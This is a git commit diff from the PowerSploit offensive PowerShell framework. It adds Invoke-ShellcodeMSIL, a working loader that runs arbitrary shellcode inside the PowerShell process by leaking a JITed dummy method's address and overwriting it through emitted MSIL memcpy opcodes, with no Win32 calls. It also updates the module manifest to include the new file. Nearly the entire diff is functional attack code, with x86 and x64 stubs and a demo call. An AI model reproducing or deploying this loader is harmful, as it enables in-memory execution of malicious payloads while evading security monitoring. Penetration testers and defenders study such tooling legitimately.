diff options
author | Matt Graeber <mattgraeber@gmail.com> | 2013-04-05 14:06:58 -0400 |
---|---|---|
committer | Matt Graeber <mattgraeber@gmail.com> | 2013-04-05 14:06:58 -0400 |
commit | 014a7bb421477a18add25164d71e977574832c14 (patch) | |
tree | 30f40fa625a3824fa4ef4cebf412e0033dabf8de /CodeExecution | |
parent | 1e79c0f7938159e428e073eddb5e0a7a38701580 (diff) | |
download | PowerSploit-014a7bb421477a18add25164d71e977574832c14.tar.gz PowerSploit-014a7bb421477a18add25164d71e977574832c14.zip |
Adding Invoke-ShellcodeMSIL
Invoke-ShellcodeMSIL executes shellcode without making any Win32
function calls.
Diffstat (limited to 'CodeExecution')
-rw-r--r-- | CodeExecution/CodeExecution.psd1 | 174 | ||||
-rw-r--r-- | CodeExecution/Invoke-ShellcodeMSIL.ps1 | 270 |
2 files changed, 357 insertions, 87 deletions
diff --git a/CodeExecution/CodeExecution.psd1 b/CodeExecution/CodeExecution.psd1 index a21f9ea..43360de 100644 --- a/CodeExecution/CodeExecution.psd1 +++ b/CodeExecution/CodeExecution.psd1 @@ -1,88 +1,88 @@ -@{
-
-# Script module or binary module file associated with this manifest.
-ModuleToProcess = 'CodeExecution.psm1'
-
-# Version number of this module.
-ModuleVersion = '1.0.0.0'
-
-# ID used to uniquely identify this module
-GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'
-
-# Author of this module
-Author = 'Matthew Graeber'
-
-# Company or vendor of this module
-CompanyName = ''
-
-# Copyright statement for this module
-Copyright = 'BSD 3-Clause'
-
-# Description of the functionality provided by this module
-Description = 'PowerSploit Code Execution Module'
-
-# Minimum version of the Windows PowerShell engine required by this module
-PowerShellVersion = '2.0'
-
-# Name of the Windows PowerShell host required by this module
-# PowerShellHostName = ''
-
-# Minimum version of the Windows PowerShell host required by this module
-# PowerShellHostVersion = ''
-
-# Minimum version of the .NET Framework required by this module
-# DotNetFrameworkVersion = ''
-
-# Minimum version of the common language runtime (CLR) required by this module
-# CLRVersion = ''
-
-# Processor architecture (None, X86, Amd64) required by this module
-# ProcessorArchitecture = ''
-
-# Modules that must be imported into the global environment prior to importing this module
-# RequiredModules = @()
-
-# Assemblies that must be loaded prior to importing this module
-# RequiredAssemblies = @()
-
-# Script files (.ps1) that are run in the caller's environment prior to importing this module.
-# ScriptsToProcess = ''
-
-# Type files (.ps1xml) to be loaded when importing this module
-# TypesToProcess = @()
-
-# Format files (.ps1xml) to be loaded when importing this module
-# FormatsToProcess = @()
-
-# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess
-# NestedModules = @()
-
-# Functions to export from this module
-FunctionsToExport = '*'
-
-# Cmdlets to export from this module
-CmdletsToExport = '*'
-
-# Variables to export from this module
-VariablesToExport = ''
-
-# Aliases to export from this module
-AliasesToExport = ''
-
-# List of all modules packaged with this module.
-ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'})
-
-# List of all files packaged with this module
-FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1',
- 'Usage.md'
-
-# Private data to pass to the module specified in RootModule/ModuleToProcess
-# PrivateData = ''
-
-# HelpInfo URI of this module
-# HelpInfoURI = ''
-
-# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
-# DefaultCommandPrefix = ''
-
+@{ + +# Script module or binary module file associated with this manifest. +ModuleToProcess = 'CodeExecution.psm1' + +# Version number of this module. +ModuleVersion = '1.0.0.0' + +# ID used to uniquely identify this module +GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c' + +# Author of this module +Author = 'Matthew Graeber' + +# Company or vendor of this module +CompanyName = '' + +# Copyright statement for this module +Copyright = 'BSD 3-Clause' + +# Description of the functionality provided by this module +Description = 'PowerSploit Code Execution Module' + +# Minimum version of the Windows PowerShell engine required by this module +PowerShellVersion = '2.0' + +# Name of the Windows PowerShell host required by this module +# PowerShellHostName = '' + +# Minimum version of the Windows PowerShell host required by this module +# PowerShellHostVersion = '' + +# Minimum version of the .NET Framework required by this module +# DotNetFrameworkVersion = '' + +# Minimum version of the common language runtime (CLR) required by this module +# CLRVersion = '' + +# Processor architecture (None, X86, Amd64) required by this module +# ProcessorArchitecture = '' + +# Modules that must be imported into the global environment prior to importing this module +# RequiredModules = @() + +# Assemblies that must be loaded prior to importing this module +# RequiredAssemblies = @() + +# Script files (.ps1) that are run in the caller's environment prior to importing this module. +# ScriptsToProcess = '' + +# Type files (.ps1xml) to be loaded when importing this module +# TypesToProcess = @() + +# Format files (.ps1xml) to be loaded when importing this module +# FormatsToProcess = @() + +# Modules to import as nested modules of the module specified in RootModule/ModuleToProcess +# NestedModules = @() + +# Functions to export from this module +FunctionsToExport = '*' + +# Cmdlets to export from this module +CmdletsToExport = '*' + +# Variables to export from this module +VariablesToExport = '' + +# Aliases to export from this module +AliasesToExport = '' + +# List of all modules packaged with this module. +ModuleList = @(@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}) + +# List of all files packaged with this module +FileList = 'CodeExecution.psm1', 'CodeExecution.psd1', 'Invoke-Shellcode.ps1', 'Invoke-DllInjection.ps1', + 'Invoke-ShellcodeMSIL.ps1', 'Usage.md' + +# Private data to pass to the module specified in RootModule/ModuleToProcess +# PrivateData = '' + +# HelpInfo URI of this module +# HelpInfoURI = '' + +# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. +# DefaultCommandPrefix = '' + }
\ No newline at end of file diff --git a/CodeExecution/Invoke-ShellcodeMSIL.ps1 b/CodeExecution/Invoke-ShellcodeMSIL.ps1 new file mode 100644 index 0000000..8b70d7c --- /dev/null +++ b/CodeExecution/Invoke-ShellcodeMSIL.ps1 @@ -0,0 +1,270 @@ +function Invoke-ShellcodeMSIL +{ +<# +.SYNOPSIS + + Execute shellcode within the context of the running PowerShell process without making any Win32 function calls. + + PowerSploit Function: Invoke-ShellcodeMSIL + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Invoke-ShellcodeMSIL executes shellcode by using specially crafted MSIL opcodes to overwrite a JITed dummy method. This technique is compelling because unlike Invoke-Shellcode, Invoke-ShellcodeMSIL doesn't call any Win32 functions. + +.PARAMETER Shellcode + + Specifies the shellcode to be executed. + +.EXAMPLE + + C:\PS> Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3) + + Description + ----------- + Executes the following instructions - 0x90 (NOP), 0x90 (NOP), 0xC3 (RET) + Warning: This script has no way to validate that your shellcode is 32 vs. 64-bit! + +.NOTES + + Your shellcode must end in a ret (0xC3) and maintain proper stack alignment or PowerShell will crash! + + Use the '-Verbose' option to print detailed information. + +.LINK + + http://www.exploit-monday.com +#> + + [CmdletBinding()] Param ( + [Parameter( Mandatory = $True )] + [ValidateNotNullOrEmpty()] + [Byte[]] + $Shellcode + ) + + function Get-MethodAddress + { + [CmdletBinding()] Param ( + [Parameter(Mandatory = $True, ValueFromPipeline = $True)] + [System.Reflection.MethodInfo] + $MethodInfo + ) + + if ($MethodInfo.MethodImplementationFlags -eq 'InternalCall') + { + Write-Warning "$($MethodInfo.Name) is an InternalCall method. These methods always point to the same address." + } + + try { $Type = [MethodLeaker] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined + { + if ([IntPtr]::Size -eq 4) { $ReturnType = [UInt32] } else { $ReturnType = [UInt64] } + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('MethodLeakAssembly') + # Assemble in memory + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodLeakModule') + $TypeBuilder = $ModuleBuilder.DefineType('MethodLeaker', [System.Reflection.TypeAttributes]::Public) + # Declaration of the LeakMethod method + $MethodBuilder = $TypeBuilder.DefineMethod('LeakMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $ReturnType, $null) + $Generator = $MethodBuilder.GetILGenerator() + + # Push unmanaged pointer to MethodInfo onto the evaluation stack + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldftn, $MethodInfo) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) + + # Assemble everything + $Type = $TypeBuilder.CreateType() + } + + $Method = $Type.GetMethod('LeakMethod') + + try + { + # Call the method and return its JITed address + $Address = $Method.Invoke($null, @()) + + Write-Output (New-Object IntPtr -ArgumentList $Address) + } + catch [System.Management.Automation.MethodInvocationException] + { + Write-Error "$($MethodInfo.Name) cannot return an unmanaged address." + } + } + +#region Define the method that will perform the overwrite + try { $SmasherType = [MethodSmasher] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined + { + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('MethodSmasher') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute + $Constructor = $Att.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $AssemblyBuilder.SetCustomAttribute($AttribBuilder) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('MethodSmasher') + $ModAtt = New-Object System.Security.UnverifiableCodeAttribute + $Constructor = $ModAtt.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) + $TypeBuilder = $ModuleBuilder.DefineType('MethodSmasher', [System.Reflection.TypeAttributes]::Public) + $Params = New-Object System.Type[](3) + $Params[0] = [IntPtr] + $Params[1] = [IntPtr] + $Params[2] = [Int32] + $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMethod', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, $null, $Params) + $Generator = $MethodBuilder.GetILGenerator() + # The following MSIL opcodes are effectively a memcpy + # arg0 = destinationAddr, arg1 = sourceAddr, arg2 = length + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_1) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_2) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Volatile) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Cpblk) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) + + $SmasherType = $TypeBuilder.CreateType() + } + + $OverwriteMethod = $SmasherType.GetMethod('OverwriteMethod') +#endregion + +#region Define the method that we're going to overwrite + try { $Type = [SmashMe] } catch [Management.Automation.RuntimeException] # Only build the assembly if it hasn't already been defined + { + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('SmashMe') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $Att = New-Object System.Security.AllowPartiallyTrustedCallersAttribute + $Constructor = $Att.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $AttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $AssemblyBuilder.SetCustomAttribute($AttribBuilder) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('SmashMe') + $ModAtt = New-Object System.Security.UnverifiableCodeAttribute + $Constructor = $ModAtt.GetType().GetConstructors()[0] + $ObjectArray = New-Object System.Object[](0) + $ModAttribBuilder = New-Object System.Reflection.Emit.CustomAttributeBuilder($Constructor, $ObjectArray) + $ModuleBuilder.SetCustomAttribute($ModAttribBuilder) + $TypeBuilder = $ModuleBuilder.DefineType('SmashMe', [System.Reflection.TypeAttributes]::Public) + $Params = New-Object System.Type[](1) + $Params[0] = [Int] + $MethodBuilder = $TypeBuilder.DefineMethod('OverwriteMe', [System.Reflection.MethodAttributes]::Public -bOr [System.Reflection.MethodAttributes]::Static, [Int], $Params) + $Generator = $MethodBuilder.GetILGenerator() + $XorValue = 0x41424344 + $Generator.DeclareLocal([Int]) | Out-Null + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldarg_0) + # The following MSIL opcodes serve two purposes: + # 1) Serves as a dummy XOR function to take up space in memory when it gets jitted + # 2) A series of XOR instructions won't be optimized out. This way, I'll be guaranteed to sufficient space for my shellcode. + foreach ($CodeBlock in 1..100) + { + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Stloc_0) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldloc_0) + $XorValue++ + } + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ldc_I4, $XorValue) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Xor) + $Generator.Emit([System.Reflection.Emit.OpCodes]::Ret) + $Type = $TypeBuilder.CreateType() + } + + $TargetMethod = $Type.GetMethod('OverwriteMe') +#endregion + + # Force the target method to be JITed so that is can be cleanly overwritten + Write-Verbose 'Forcing target method to be JITed...' + + foreach ($Exec in 1..20) + { + $TargetMethod.Invoke($null, @(0x11112222)) | Out-Null + } + + if ( [IntPtr]::Size -eq 4 ) + { + # x86 Shellcode stub + $FinalShellcode = [Byte[]] @(0x60,0xE8,0x04,0,0,0,0x61,0x31,0xC0,0xC3) + <# + 00000000 60 pushad + 00000001 E804000000 call dword 0xa + 00000006 61 popad + 00000007 31C0 xor eax,eax + 00000009 C3 ret + YOUR SHELLCODE WILL BE PLACED HERE... + #> + + Write-Verbose 'Preparing x86 shellcode...' + } + else + { + # x86_64 shellcode stub + $FinalShellcode = [Byte[]] @(0x41,0x54,0x41,0x55,0x41,0x56,0x41,0x57, + 0x55,0xE8,0x0D,0x00,0x00,0x00,0x5D,0x41, + 0x5F,0x41,0x5E,0x41,0x5D,0x41,0x5C,0x48, + 0x31,0xC0,0xC3) + <# + 00000000 4154 push r12 + 00000002 4155 push r13 + 00000004 4156 push r14 + 00000006 4157 push r15 + 00000008 55 push rbp + 00000009 E80D000000 call dword 0x1b + 0000000E 5D pop rbp + 0000000F 415F pop r15 + 00000011 415E pop r14 + 00000013 415D pop r13 + 00000015 415C pop r12 + 00000017 4831C0 xor rax,rax + 0000001A C3 ret + YOUR SHELLCODE WILL BE PLACED HERE... + #> + + Write-Verbose 'Preparing x86_64 shellcode...' + } + + # Append user-provided shellcode. + $FinalShellcode += $Shellcode + + # Allocate pinned memory for our shellcode + $ShellcodeAddress = [Runtime.InteropServices.Marshal]::AllocHGlobal($FinalShellcode.Length) + + Write-Verbose "Allocated shellcode at 0x$($ShellcodeAddress.ToString("X$([IntPtr]::Size*2)"))." + + # Copy the original shellcode bytes into the pinned, unmanaged memory. + # Note: this region of memory if marked PAGE_READWRITE + [Runtime.InteropServices.Marshal]::Copy($FinalShellcode, 0, $ShellcodeAddress, $FinalShellcode.Length) + + $TargetMethodAddress = [IntPtr] (Get-MethodAddress $TargetMethod) + + Write-Verbose "Address of the method to be overwritten: 0x$($TargetMethodAddress.ToString("X$([IntPtr]::Size*2)"))" + Write-Verbose 'Overwriting dummy method with the shellcode...' + + $Arguments = New-Object Object[](3) + $Arguments[0] = $TargetMethodAddress + $Arguments[1] = $ShellcodeAddress + $Arguments[2] = $FinalShellcode.Length + + # Overwrite the dummy method with the shellcode opcodes + $OverwriteMethod.Invoke($null, $Arguments) + + Write-Verbose 'Executing shellcode...' + + # 'Invoke' our shellcode >D + $ShellcodeReturnValue = $TargetMethod.Invoke($null, @(0x11112222)) + + if ($ShellcodeReturnValue -eq 0) + { + Write-Verbose 'Shellcode executed successfully!' + } +} + +$Shellcode = [Byte[]]@(0x90,0x90,0x90,0x90,0x90,0x90,0xC3) +Invoke-ShellcodeMSIL -Shellcode $Shellcode -Verbose
\ No newline at end of file |